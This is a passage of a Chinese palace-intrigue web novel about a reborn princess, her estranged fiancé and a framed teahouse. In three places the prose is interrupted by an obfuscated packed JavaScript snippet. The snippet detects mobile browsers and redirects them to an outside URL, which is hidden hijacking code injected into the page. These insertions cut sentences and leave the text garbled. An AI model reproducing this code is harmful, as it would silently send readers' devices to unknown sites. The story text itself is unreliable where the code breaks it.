“宋丽娘,宋立娘……”燕袖念叨着那人前世的两个名字,嘴角扯出苦笑,心口抑制不住地抽疼。 燕袖缓缓将手按在心口,企图减轻一些幻痛——这个位置,在前世曾被宋立娘一箭射穿。 那时,宋立娘高坐骏马之上,一手握缰绳,一手持角弓,身着冰冷坚硬的明光铠,月色清冷,衬得甲片寒光铮铮。 这位年轻的帝王,垂眸俯视中箭重伤的他,冷声宣判:“罪臣燕氏,自愿伏诛。” 那是上辈子燕袖见宋立娘的最后一面。 深夜,皇宫春杏阁。 宋立娘冷淡地看着余烬熄灭。 假若猜想为真,燕袖此人,就如这本禁书一般,不能再留了。 4. 陷害 “宋丽娘,你身为公主竟弑父囚兄,牝鸡司晨,骄奢淫逸,穷兵黩武,屠杀忠良满门!其罪万死尤不足惜!天道发怒降此大旱,诛暴君,方可救苍生!” 铁蹄惊破干裂的黄土,长明十二年夏,帝王泰山求雨,遭叛军围攻。 山脚下村落聚集,数千骏马铁骑飞驰而过,高扬的马蹄重重踩下前,卖花女童正在前方回首,茫然失措。 白发乞丐及时冲出,一把拉过女童护于怀中,女童背篓新采的桂花漫天飘洒,二人与马蹄险险擦过。 挥落的马鞭却是躲闪不及,乞丐后背登时皮开肉绽,留下血痕深深。 乞丐抬眼远远望去,村子里一片狼藉,晾晒的衣架、新酿的酒坛、摊贩的糖人皆被群马冲撞踏碎,隐隐可闻谁在哀哭—— “世道,又乱了……” 泰山之巅,骑兵大军一路势如破竹,来到祭坛之下。 为首的老翁在马上搭弓射箭,瞄准祭坛边独自伫立的人影:“暴君受死!” 那人中箭后踉跄不稳,宽大的斗篷帽兜滑落,露出一张男性的温润面容,长发乌黑如瀑。 老翁下马飞奔至那人面前:“太子?为何是太子?!宋丽娘何在?!” 忽有打斗声震天,老翁回首一看,是帝王麾下的龙魁大军已经赶赴此处,两军厮杀中叛军不敌,节节溃败。 而立于龙魁军中心的统帅,赫然是适才衣衫褴褛的白发乞丐! 乞丐拨开掩面的额发,青年鹤发,气质冷峻,眉眼锋锐如鹰顾狼视,正是当今天下之主宋立娘。 “暴君,你敢残害太子!”老翁趁众人来不及反应,迅速拔下濒死太子身上的箭矢,向前投掷。 利箭旋出如流星,飞越重重军士的阻拦,直往宋立娘的面门而去。 宋立娘却不躲不避,同样抛出了手中长剑。 高空之中,淬了寒光的剑刃捎着劲风,从头至尾破开来势汹汹的箭矢,最终俯冲直下,精准没入远处老翁的咽喉。 老翁倒在血泊中,目眦欲裂,双眼红得滴血:“余愿献祭魂魄,换重来一世,暴君曾辜负者全部重生,你将众叛亲离,不得善终……” “好吵。”不等老翁说完,宋立娘就抬脚用力踩踏他的唇齿,末了,还以老翁的衣领蹭净鞋底血迹。 一息间天色突变,雷催墨云,暴雨骤降,雨线密密匝匝地织罩天地。 龙魁军众人沸腾欢呼:“雨!大旱半年终于有雨了!” 似乎没有什么能再留下,世间一切都被大雨冲刷、洗净,汇入红尘,滚滚东流。 …… 皇帝对失而复得的八公主甚是偏爱,宋立娘一句“贪恋儿时的热闹人间”,皇帝便从此特许她一月能自由出宫三次。 “殿下每回出宫,活似脱缰野马一般,一刻不带停的,若不好好睡个子午觉,回头又要喊头疼了。” 精力充沛的小公主一大早出宫来,已经从城北大相国寺乱蹿到城南糖水小巷,修竹只好带宋立娘来寻一家正店,稍作歇息。 宋立娘打了个呵欠,懒洋洋地倚靠在香樟木贵妃榻:“修竹,你陪我走了那么久,不妨也开间官房睡会儿吧。” “多谢殿下挂怀,仆还要守在殿下房门外呢。” 修竹取来一方花罗薄巾,为公主盖好容易着凉的腹部,才轻手轻脚地离开房间。 少顷,贵妃榻上熟睡的女娘倏地睁开清眸。 宋立娘悄悄打开一条门缝窥探,外头果然了无人影,而掀开屋内的香炉,可见其中正燃着少许乳白细腻的香粉。 南楚国的引梦香,无味无色,只需一小撮,便可令人昏睡不醒。 当初修竹第一次使用此香、私自外出时,宋立娘便觉察到不对,装睡后偷偷跟上修竹,想探查她的秘密。 岂料修竹的轻功身法竟深不可测,几个眨眼就消失于熙攘人群。 目前唯一能确定的是,修竹乃某方势力派入宫的卧底,她的真实身份一定与南楚有关。 时间紧迫,宋立娘迅速掏出引梦香解药服下,把轻纱长裙换作一身黑衣,套上人皮面具,外貌全都改扮他人,才从背对街道的木窗翻出,轻松跃上屋顶,一路潜行。 她今日之所以跨越大半个京城,自皇宫一直逛到城南,正是因为京城的唯一据点位于城南济乐坊。 这是宋立娘一手建立的势力网。 京城济乐坊接近朱雀门,商贾云集,天南海北的镖队与货物频繁来往。静闲茶楼正位于济乐坊南侧,背临溱水河,江景风光无限。 茶楼门口迎来送往的小二见着新客,上前拱手招呼:“客官,一楼客座已满!” 身形挺拔的黑衣男人声如贯珠,低沉而微沙,入耳宛转悠远:“来一间三楼厢房,白茶加桃花盐与新鲜橘子叶,茶食你斟酌,挑三样好的。” “芝麻奴、五香糕、羊肉烤饼,如何?” “羊肉吃不得,发物,换一个。” 小二狡黠地笑:“好嘞,贵客三楼请!” 茶楼人满为患,说书人正讲着江湖千面客被南楚官府处死的逸闻趣事,有食客鼓掌喝彩,有食客饮茶谈笑。 掌柜走入厢房,打断了黑衣男人透过半透明桐油竹纸窗对茶楼的观察。 “贵客,对我们的经营成果可还满意?”掌柜是个面目普通到过眼即忘的中年女人,嗓音也稀松平常,抓不住特点。 “尚可。” 黑衣男人挑唇一笑,伸手放下深底云纹厚缎流苏窗帘,隔绝了外界窥伺的可能。 下一刻,黑衣人与掌柜同时撕下面皮—— 掌柜原来是个看起来獐头鼠目的年轻女娘,抖弄着手中面具,说话音色与语调也完全改变,竟然悠扬婉转,如江南的吴侬小调:“呼!难得喘口气!阿立,你学男人的声儿怎么那么像啊?” “夸我还是骂我?”宋立娘斜睨她一眼,语气冷冷,“时间紧,说重点。” 掌柜扁扁嘴,抱臂道:“你叫我们盯燕家,昨日刚好有个给太傅制衣的裁缝来吃茶,听他跟人聊天说,燕家公子与太傅大吵一架,似乎是为了仕途。” 正在啜饮清茶的宋立娘,立即投来一个问询的眼神。 掌柜说得眉飞色舞:“燕家公子劝太傅告老还乡,举家搬离京城,太傅自然不愿意,责怪他光想躲懒尚公主,不愿承担光耀门楣的责任——嘿,我一听就明白,那厮就是我们阿立的未婚夫呀。” 宋立娘搁置茶盏,以指节轻叩桌面。 燕袖想急流勇退,为什么?燕袖不支持太子了么? 商议完其她事项后,宋立娘与掌柜重新带好面具,就在跨出房门之时,一位男郎也恰好迈进茶楼。 掌柜顺着宋立娘的视线看过去:“步伐沉稳,是练家子,刻意涂黑了脸和手,但是皮肤细腻没磋磨,穿的是旧布衣,不过那双鞋子干净没泥点……哟,来了个体验民间疾苦的贵公子哥。” “是燕袖。”宋立娘悄声道。 掌柜掩面作口型:就这厮?!他乔装打扮来此作甚? 只见燕袖并未点茶入座,先去寻了小二,不知说些什么,小二领着他上到三楼:“掌柜的!有商队想给茶楼供茶叶瓜果!” 掌柜迎上去:“哎哟好说好说!刚巧近日老东家涨了价,我们好好聊啊!” 宋立娘暗暗揣测,燕袖极可能想假扮商户以打探茶楼内部消息,而且,说不定正是为她这个幕后话事人而来。 燕袖究竟如何注意到这间茶楼的? 难道,燕袖当真重生了,知道静闲茶楼是她的产业? 宋立娘瞥一眼畅聊中的燕袖几人,随即面无波澜地与之擦肩而过。 时间不多,此事后续就留等掌柜反馈。 燕袖侧目瞥了一眼这位路过的陌生黑衣人,不过,下一瞬他又被掌柜的热络相谈夺去注意。 在宋立娘踏下最后一节木梯,踩上一楼的青石砖地面时,不远处临街的窗户中,也有无数同样朝着茶楼大门移动的掠影。 那些人影统一身着玄色罩甲,戴红笠帽,腰配长刀——是京城兵马司的服制。 宋立娘捏紧拳头,迅速转身欲回楼梯,森冷的刀锋却赫然横在了脖颈前。 是一名男官兵出刀截住了她的去路。 自茶楼大门鱼贯而入数十名官兵,迅速镇守住各个出入口,以武力威胁骚乱恐慌的客人们。 作为长官的司吏出面大喝:“京城兵马司收到密告,告发静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599301|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲茶楼行径不轨,所有人等不准擅动,配合兵马司暂行勘察!” 男官兵凑近宋立娘仔细打量,他发现这黑衣男子的脖子出了细汗,而脸上竟依然干爽。 人皮面具即将暴露。 宋立娘谨慎地僵直脖子,与脖颈前的刀尖保持距离,左手则悄然靠近藏在腿间的蝴蝶刀。 “哎哟哟官爷,您这耽误生意啊!”掌柜噔噔噔冲下来哭丧,“草民的茶楼新开业,经不起折腾哟!” 男官兵当即放下了对黑衣男人的怀疑,改换目标,把佩刀转向喋喋抱怨的掌柜。 宋立娘摸到刀柄的手松开来,迅速上楼,默默退至二楼走廊。 高楼厢房的茶客们纷纷涌出走廊与楼梯,围观这场突如其来的变故。人头攒动中,燕袖也下至二楼静观事变。 这次兵马司搜查与燕袖有关吗? 司吏招手示意男官兵放下佩刀:“莫粗蛮,好官要仁善为先,掌柜的经营这么大个茶楼,耽误一会儿功夫便损失多少银两,着急也是情有可原。” 掌柜得了人身自由,忙上去堆笑着,给司吏奉茶:“一天天为京城百姓忙里忙外的,官爷辛苦了吧?草民这儿的特色便是香茗,官爷先喝口茶,润润嗓子。” 司吏摸出压在茶杯与盏托间的银票,点了一下,方满意笑道:“兵马司收到告发均要例行检查,十中有□□都是虚假告发,不用担心太多,很快结束了,不耽误做生意。” 掌柜点头哈腰:“哎,好嘞好嘞!有官爷这话儿就放心嘞!” 宋立娘暗松一口气,同时望向对面走廊人群中的燕袖。 他与周围人一样,全程认真观察着下方,神情紧张。 若是今日要举报茶楼的话,也不必亲身前来刺探消息。宋立娘能确定,此事与燕袖并无关系。 但她有不好的预感—— 当下这桩密告就和前几天的冰鉴告密诗一般,是冲着自己来的,绝不会简单结束。 忽有一声惊呼打破平静:“大人!是京城布防图!” 一名官兵从两罐茶缸的缝隙里,搜刮出一张草纸,其上有密密麻麻的图样和字迹。 司吏本在悠闲品味龙井,闻言吓得喷出一大口茶沫:“快,你们,快把茶楼里的人全部带回官府问话!” 宋立娘抓紧了走廊栏杆,指甲在陈年杉木上烙印出一个个月牙。 她倒想过要弄京城布防图,可并未得手。这一遭栽赃,究竟是谁布局? 一旦被兵马司拖住,就赶不及宫禁的时间,脸上的人皮面具也会就此暴露。 掌柜绝望地跪倒,拖住司吏大人的腿嚎啕痛哭:“噫呀呀呀官爷误会呀!!草民本分经商,哪敢生出贼胆呐!定然是隔壁酒楼抢生意陷害草民呐!官爷明鉴呐!” “放狗屁!谁吞了熊心豹子胆,敢拿布防图抢生意!”司吏一脚踹开掌柜,翻脸无情,“本官看,就是静闲茶楼借行商之名图谋不轨,满楼的客人皆能作证!来人,把他给本官带回去好好审问!” 两名官兵一左一右抓住掌柜,粗鲁地将人架走。 京城兵马司尸位素餐多年,提督与一干指挥使怕事惰政,为求稳妥不惜屈打成招、大搞连.坐。 布防图泄露这等严重事故,兵马司一定会找替罪羊,显然,静闲茶楼已经被司吏列为了最佳选择。 恐怕掌柜等人一进诏狱,便再也出不来了。 宋立娘眸色变得冰冷。 二楼走廊上的茶客们被惊吓得不轻,喧哗嘈杂,拥挤躁动。 店小二借着人群的掩护,悄悄来到宋立娘身边,比了个口型:怎么办老大? 宋立娘也以口型无声回应,小二当即会意,转头进入最近的空厢房内。 燕袖本也随其她客人一同观察着事态演变,忽有一尖锐物抵上腰间,下一刻便要穿过脆弱的骨肉。 “燕小将军。”黑衣男子的声音深沉动听,却捎带致命威胁,“好巧,你也在这?” 燕袖惊疑不定:“你是?” 宋立娘搂住燕袖的腰,借衣袖遮掩扭住了他的一条胳膊,强压得燕袖无法动弹,才凑近他耳后吐息低语:“嘘——!留着嗓子去跟官差坦诚身份,帮我要回布防图。” 5. 演戏 茶楼的混乱局面中,遽然插入一声高呼:“喂,小官!我乃燕太傅长孙燕袖,布防图是我祖父不慎遗失,速速归还,莫要妨碍公务!” 架着掌柜准备离开的两名官兵闻言止步,司吏也望向上首说话的布衣小郎,喝道:“莫唬本官,太傅大人何时会管城防之事?你个毛头小子,穿的还是破旧衣裳,想假冒贵人不成?” 那男郎却未回司吏的话,而是扭头向身旁的黑衣伙伴解释:“我的衣内夹层有燕家腰牌,可以证明我是燕袖。” 话毕,压制在燕袖手臂上的力量果然略有放松。燕袖当即拼力挣脱桎梏,出其不意地回身袭击身后人,拳风利落迅猛。 宋立娘旋转避过,手中蝴蝶刀的锋芒随之游过燕袖周身,紧绷的衣襟层层散开,一张燕氏腰牌从中落下,在一连串木梯上咕噜噜翻着滚,跌至一众看呆了的官兵跟前。 蝴蝶刀却仍未停下,宋立娘毫不犹豫地抬手又挥落。 寒刃扎入燕袖心口,仿若一把长箭牵引起前世记忆。 燕袖生出全身血液逆流向伤口的错觉,鲜热喷薄的血,冰冷干涸的泪,仿佛还是前世死去的那个雪夜,眼前人的双眸也还是一样清亮。 但等回过神来,他才看清眼前的此人面容陌生。并不是那位无情帝王。 宋立娘左手紧握刀刃,右手钳制好伤重的燕袖,押着他退至背后空无一人的厢房内。 原本想试试有无可能把布防图一起搞到手,如今看来,燕袖不可能遂她心意。 既然如此,宋立娘可要劳烦诸位,陪她演一场大戏了。 走廊上的其她茶客们早就因恐慌,拥挤在走廊两边的尽头,恨不得离这个危险来客越远越好。 “豪杰莫冲动!莫误伤了燕公子!豪杰究竟想要什么?我们可以好好谈!”司吏不敢踏上二楼刺激歹徒,只好隔了半截木梯,在下面急得连连摆手。 从厢房中传出如清泉击石的深沉男声:“你们方才还在笑我的死讯呢!如今倒是能毕恭毕敬了?” 适才认真听书的茶客中,有人会出了弦外之音。 “他是江湖千面客!” “千面客不是被楚国处死了吗?” 宋立娘声如洪钟:“天下闻名的南楚国江湖千面客,千面千人千种身份,你们谁见过真正的千面客?楚人蠢到杀了个假货,与我这个真千面客有何干系!” “小小茶楼竟敢诅咒我死,老子千辛万苦到手的布防图也遗失在此地,当真晦气!” “不过。”宋立娘话锋一转,以眼刀剜过手中的人质,“今日能撞见燕家嫡孙,倒是意外之喜,我改了主意,不如让这位贵人,横死在静闲茶楼吧?死过人的地方,生意定然不佳,岂不就能好好报复回来?” 乖张、自大、睚眦必报,为了报复吠他一声的田庄看门狗,曾一夜灭门田庄三百人口的千面客,似乎真像是茶楼里这位胆大包天的歹人。 司吏用尽毕生口才安慰劫持燕袖的歹徒,宋立娘才终于松口,让官兵去备好马车和一千两黄金,便可放燕袖生还。 于是司吏兴奋地着人去筹备。 等待期间,官匪双方隔着松木门半开的厢房,陷入沉默对峙。 “你肯定也看出来了。” 宋立娘倏忽开口,以极轻极轻的气声,俯在燕袖脸颊边,保证说话只有房内二人才听得见。 “官兵不是筹钱去了,而是喊救兵去了——啊呀,他们怎么不听话,一点也不担心我生气起来,不小心误杀了燕家嫡孙。” 燕袖因为失血而虚弱无力,依然咬紧牙关,不肯服软:“要杀要剐,悉听尊便,废话那么多做甚?” 宋立娘讥笑两声,道:“是啊,我要做什么呢?首先,一定不是想拿赎金,这不过是我为拖延时间寻的借口。” 厢房内,逐渐升腾开一股似有若无的硝烟味,将二人缠绕包裹。 味道的源头,正是店小二依照宋立娘嘱咐,提前在空房内设置好的延时火药。 燕袖顿时心惊——这个疯子,他想要炸楼! 在燕袖发声通知众人逃跑之前,宋立娘便眼疾手快地卸掉他的下巴,掐灭了最后的希望。 “你猜。”宋立娘轻声对他说,“我们会不会共赴黄泉?” 这个可能是重生者的麻烦人物,若死在此时此地,能让宋立娘省心不少。 反正凶手是千面客,怎么也怀疑不到她自己头上。 不远处,那掩藏在半开木门后的火药漆黑似炭,火星微光不断向上攀升,短小的引线将很快燃烧殆尽。 “三。” 宋立娘平静地倒数着爆炸时间。 “二……” 燕袖冷汗涔涔,仍不肯认命地奋力挣扎。 “一!” “砰——!!!” 巨大的冲击波轰然炸开。 离得近的司吏直接被热浪拍飞,痛摔至一楼地面。 同时,一个人影也重重地落了下来,司吏连忙去搀扶昏迷不醒的此人:“燕公子!燕公子!” 爆炸之际,那千面客不知怎地竟松开禁锢,抬腿将燕袖踹出了门外。 此时二楼厢房烟熏火燎,司吏喜出望外:“千面客被炸死了?” “大人!适才千面客跳河了!” 站在临河红木支摘窗边的官兵们大喊。 宽阔的河面上,尚且残留几圈高空入水的浪花,但转瞬便同化为奔腾湍流,浩浩荡荡向南而去。 弓兵射出的弩箭尽数被波涛淹没。 司吏扼腕叹息,狠狠一拍下属的脑袋:“还不下去追!” 官兵颤道:“大、大人,水太急了!” 司吏气愤地拂袖而去:“回去禀告指挥使,加派人手守住下游河岸,严查津渡和城门!千面客绝对出不了城!” 官兵们跟在长官后头,私下嚼起舌根。 “何必麻烦我们值守?溱水河的浪出了名的凶,千面客很难活着出来了!” …… “看见了吗?眉江的水多急,浪多高,人进去就很难活着出来了。” 暗夜江畔,几名男子手持长刀,耐心训导着一群幼童。 孩童多达五六十人,竟全是女孩。 “你们是被楚人抛弃在眉江里的孩子,得亏我们北羽人不顾性命,从江水中搭救出来,供诸位吃喝,才活到今日,否则早成了眉江水鬼。” 立于最前方的白胡须老伯温和笑着,端的一副慈眉善目。 “人要知感恩。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599302|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老伯缓缓道:“救的孩子太多了,实在负担不起,未来的路,就留予你们自由选择。” “一,是跟龟公走,去猖馆做伎,好处是躺下赚钱享福,坏处是受世人鄙夷。” “二,是跟我们学凫水,做偷.渡客,潜游眉江走.私货品,坏处是江水湍急,性命危险,可好处是有尊严地把钱赚咯。” “选哪个?” 一个青年男子按顺序来到孩童们的面前询问,孩子们战战兢兢的,分别根据考量做出了不同的选择。 “其实我们根本没有选择的余地!只有我们才能选的路,不是自由!” 这时,队伍后方乍然有个孩子严词怒斥,圆脸上是超出年纪的坚定。 “你们给的选择,无论哪一个,都全是坏处,毫无好处,却要假装它们是更轻松的路,让每一个做出选择的人都以为得到了自己想要的东西。” “抛弃女婴的南楚人纯坏,拐.卖弃婴的北羽人伪善,你们不过是想让我们卖了贱命还感恩戴德——!!!” 话音未落,已有数十孩子忍不住啜泣。 白胡须老伯收敛起笑容,对旁边的打手使了个眼神。 打手走了上去,用刀面拍打这位大胆小孩的脸蛋:“很好,看来你已经做出了选择。” 下一刻,小孩被一脚踹下乌黑的江水。 “扑通——!” 宋立娘砸入溱水河中,高空坠落的惯性令她深深沉进无边黑暗里,身边穿梭的羽箭仿若被河水镀上一层慢放的滤镜。 再喧嚣的人间界都要从此远去,她独身游离于冥界黄泉,全当自己是五行之外的一只孤魂。 用掌心感知着冰冷河水的流向,她知道了命运对自己的指引,于是逆流而上。 宋立娘从不后悔做出的每一个选择。 未时,天阴,西风送晚。水渠边的人家浣衣吟唱,淘米水一锅一锅地倾泻,引得红鲤争相抢食。 修竹回到客栈官房外,直觉不对,立马向后退。 果然有三枚飞镖陆续从万福纹格子门的格眼中射出,钉在了正前方墙壁上的瀑布山水挂画。 “谁!”修竹赶去推门,发现房门已被从内锁住。 “呵呵,你家小姐居然中了引梦香。” 屋内传来陌生的男人声音,令修竹心下一沉。 未曾谋面的男人接着道:“幸好我有解药,否则也要交代在这引梦香上了。” “求求你了好不好,别伤害修竹!”这回是宋立娘在说话,“我帮你出城就是了!我确实没有带官凭路引,可我是当今圣上的八公主!你只要说是我下的命令,一定可以出城!大不了我随你一起去城门!” 修竹暗叫不好,这个蠢货,连公主身份都敢往外说! 她再难顾及是否会暴露武功,豁出全身力气撞开房门。 甫一开门,糯米粉扑面而来,修竹瞬间被糊住双眼、泪流不止,失去了视力,只得听音辨位去对抗敌人。 然而急促的脚步声渐远,紧接着便是窗户方向传来动静,一个大型物体破风撞来。 修竹下意识以手臂格挡,不料触及的,却是满怀温热。 宋立娘抱着她委屈哭诉:“呜呜呜修竹,坏人跑掉了,怎么办……” 6. 杨梅 “小囡,感受如何?伤口还疼吗?” 宋立娘回宫后小憩一觉,刚转醒,便有一只生了老年深斑的手爱抚上她的额头 再抬眼往上瞧,见到的果然是贤妃娘娘。 贤妃,名为樊明漱,比皇帝整整大了十岁,早年曾是屠户寡妇,但依然得皇帝常年盛宠,甚至皇帝还为她想过解散后宫,因群臣反对才作罢。 坊间百姓皆赞颂圣上是故人长情,帝王痴心。 “娘亲,不过磕到罢了,御医看过,并无大碍的。” 宋立娘与樊明漱之间的用词与语气都很是亲昵,并不在乎寻常的宫廷礼节。 小公主吃力坐起身,脸颊与手脚上遍布遭溱水河礁石重击的青紫肿块,一动起来,难免生疼。 修竹前来立好金丝缠枝牡丹绸缎软枕,扶宋立娘坐正,二人相互对了一个眼神。 由于身上伤势无法掩盖,宋立娘只好在修竹回来时演一出戏,假装被意欲出城的千面客拷问折磨。 原本宋立娘还担心,八公主也卷入千面客的事件会太凑巧,可能引人生疑。 幸好修竹主动提议,与宋立娘一同隐瞒今日偶遇劫匪之事,以免有心人借机生谣,损害公主名声。 所以,宋立娘回宫后,面对皇帝和皇姐的关心,只说是自己不小心踏空,滚下了楼梯。 宋立娘圈住贤妃的手臂,将下巴依在她肩上:“阿娘不是在寺院吗?提前回宫了,商号的买卖怎么办?” “傻呀,铺子庄子,哪比得我家小妮子重要?”樊明漱轻摸小女儿的手背,温柔道。 樊明漱在前夫死后,继续经营他留下的猪肉摊,生意愈做愈大,货品种类也逐步拓宽,于京城、兰陵、南城等地开了“恒润”店铺行,富甲一方。 也是因此,当年帝妃成婚时,红妆十里,嫁妆千金,成了一段广为流传的佳话。 哪怕入宫为妃,樊明漱也三不五时以祈福之名,外出留宿大相国寺几日,好亲自处理恒润商号的生意。 宋立娘亲热地把玩起樊明漱的一缕乌发,在手指上缠绕,心间却是讥讽。 若非贤妃这么多年,心甘情愿地献出恒润商号全部收益,北羽国库早就亏空崩溃。 钱在哪里,皇帝的宠爱就在哪里。 解散后宫?说两三句话而已,就能为皇帝换来商号主人的感动付出,何乐不为? 樊明漱细细打量少年人红肿的脸颊,不由得心疼:“我听闻你受伤,慌的呀,还好赶得及在宫禁前回来。还有你阿姊,本也想看望你的,可天晚了,我叫她明日再入宫。” 话中的阿姊,唤作乔芷善,乃是贤妃与亡夫的孩子,八公主同母异父的姊妹。 宋立娘叹气:“丽娘不愿麻烦阿姊,她肚中有孕,进一趟宫个把时辰,坐轿子颠的难受。” 母女俩攀闲话拉着家常,樊明漱语重心长地叮嘱女儿,南楚千面客在京城嚣张闹事,近日千万不要出宫。 俄而,宋立娘蓦地想起什么,唤来宫侍:“差点忘了,我先前想在院子里赏月品茶,席面都摆好了,我倒困了,想等睡醒再吃的。那外面还摆有几盘零嘴是不?拿进来,我跟娘亲一起吃吧。” 宫侍应声而去。 不消多时,宫侍又六神无主地跑回来:“公主殿下!那糖渍杨梅不大对劲!” 庭院深深,月影婆娑,汉白玉四角石灯旁,简单放置了一方竹席与藤编小几。案几上,黑红的杨梅裹了一层蜜糖水,借来夜半清光,熠熠生辉。 如果青花瓷盘上没有积攒一堆死蚂蚁的话,就着糖渍杨梅饮茶观月,还真是风雅无双。 “咦惹!”宋立娘一见到密密麻麻的蚂蚁,登时跳出一丈远,假作害怕模样,“快倒掉!” “等等,小囡,你就不觉得古怪?” 樊明漱颇有些恨铁不成钢:“这么多蚂蚁,实在死的蹊跷,你忘了为娘教过你,在深宫中当如何自处?” “正常杨梅引来蚂蚁,蚂蚁不会死,蚂蚁全死了,只能说明……” 樊明漱不再说话,严肃地注视小女儿,可宋立娘依然呆呆愣愣的,好似摸不着头脑。 还是陪同在旁的修竹补充:“杨梅有毒。” “怎么可能?这可是尚食监送来的杨梅啊!前几天才送来,还是我亲手腌成糖渍杨梅的!”宋立娘不敢置信。 事态严重起来。 樊明漱当机立断,安排随行的心腹宫侍打包杨梅作为证据,再一一盘问春杏阁里接触过杨梅的宫人,一时没发现异常。 当然发现不了。因为毒药是宋立娘自己下的。 出宫试探燕袖的那天,她曾偷偷去找相熟的医师检查冰鉴中的杨梅。 “此物的确浸过药水,不过并非致命毒药,而是令人记忆消退、行动减慢的慢性毒药,中药者倒不会到痴傻儿的地步,只是无法深思、言行迟钝,容易忘记人事。” 于是,宋立娘在亲手腌制杨梅时,将砒霜混入了其中。 害公主变蠢和害公主去死,这两种罪责可不相等。 不稍微夸大一点,心软的皇帝怎么会全力以赴追查真凶呢? 樊明漱着宫侍去收拾八公主的贴身衣物:“这几日是多事之秋,我需禀报皇上皇后彻查,小囡,你且搬回瑞昭宫同娘亲住。” 宋立娘依依不舍地回头:“娘亲,可不可以带上修竹?我相信修竹。” “殿下。”修竹微微蹙眉,示意公主不必如此。 樊明漱拉起女儿的手离去,贤妃娘娘身边的一干宫侍影影绰绰,阻断了八公主回望的眼神。 修竹沉默地伫立原地,目送公主远去。 月光遥遥披洒,却照不透这位红裙宫人的心事。 修竹自小被训练杀.人技,用刀、用毒、用命……是以,她能确定,杨梅上无色无味的毒乃是砒霜。 公主腌制杨梅时,曾倒过许多糖霜下去。如若想把外形相近的砒霜混进糖霜里,非常容易做到。 当修竹害怕千面客的言语,暴露了她曾迷晕公主的事实时,八公主宋丽娘大声抱怨: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599303|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “千面客那个死坏蛋,肯定是他给我下的引梦香,还要骗我!” 为了避免后续公主陈述被劫经过,让外人对引梦香一事生疑,修竹便说服八公主,一起瞒下今日关于千面客的遭遇。 如今再回想,修竹又觉不合理。为何逃跑的千面客随机抢人路引,就给公主遇上了?世上真有如此巧合? 十六岁的宋丽娘,从民间到宫廷,从流民到公主,短短五年时间,便能享尽生母疼惜、皇帝怜爱、太后欢喜,与太子相知相交,与太傅嫡孙相爱定亲。 修竹一直有惑—— 八公主,真的是看上去那么简单吗? “对了小囡,你睡着的时候,太子亦有来探望过。” 回到瑞昭宫后,樊明漱忽地想起此事。 “可是你当时已睡下,我说让太子先行回去,待你醒了再知会他。方才意外横生,我一下就给忘了。”樊明漱说,“我看太子还挺担心的,你明日同太子见一面罢?娘亲告诉你,太子身份尊荣,你们多加相处是好的,人家来关心你,你便要做回应。莫要冷落了太子,让他心里有想法。” 太子…… 宋立娘心绪流转,也不知太子有没有发现质疑八公主身份的密信。 确实该挑个恰当时机,与太子哥哥好好周旋一番了。 于是她笑如银铃爽朗:“好了娘亲,我知道了!这些兄弟里,我和四哥哥感情最好,我怎么可能冷落四哥哥呢?” …… 夜色朦胧幽幻,清透的床帐层层叠叠,被凉风撩拨泛起涟漪,月华浇灌下的鲛人纱流光溢彩。 睡梦中的宋衫大汗淋漓,他猛地睁眼坐起身,四处盼顾,才恍然忆起——这里仍是东宫,而不是前世他度过余生的冷宫。 前世种种,纷乱不休地在宋衫识海中回旋。 “新帝说了,不想见到废太子,你再怎么求也无济于事!” “老夫找到了当年接生的稳婆,稳婆说贤妃娘娘生的是一个皇子!你与那暴君,根本就不是亲兄妹!” “念离宫的花又开了,陛下每次花下独酌,一坐就是几个时辰……陛下对那位早逝的美人,真是用情至深啊。” “莫非,你得知和八妹没有血缘后,生出了不该有的心思?宋衫,你要脸吗!” 回忆的结尾,是他自己站在冷宫门口亲手栽种的杏花树旁,痴望天幕尽处的帝王宫殿。 那时的宋衫说:“我都快死了,恳请陛下垂怜,最后看我一眼,好不好?” 原来自以为最好的妹妹,是后来离他最遥远的人。 宋衫揪着衣襟,深深埋进衾被无声恸哭,任由寒气渗进单衣侵蚀身体。 晨雾未散,远山薄青。濛濛细雨静静地落,雨雾里奢华的琉璃瓦璀璨如新。 宋立娘早早梳洗用膳完毕,踏出瑞昭宫,想快快启程去东宫,寻太子聊一聊。 忽有宫侍急匆匆地前来通报。 “殿下,不好了!仆听闻燕公子入宫面圣,自请和殿下解除婚约!” 7. 兰因 现在,摆在宋立娘面前的有两个选择。 往左是太子宋衫所在的东宫,往右是燕袖面圣退亲的文德殿。 犹豫须臾,宋立娘一手撑伞,一手提起绿白间色齐胸罗裙的裙角,调转方向去了右方。 …… 她还清楚记得,与燕袖的相识,始于一场意外。 “哎哎哎,让开让开!” 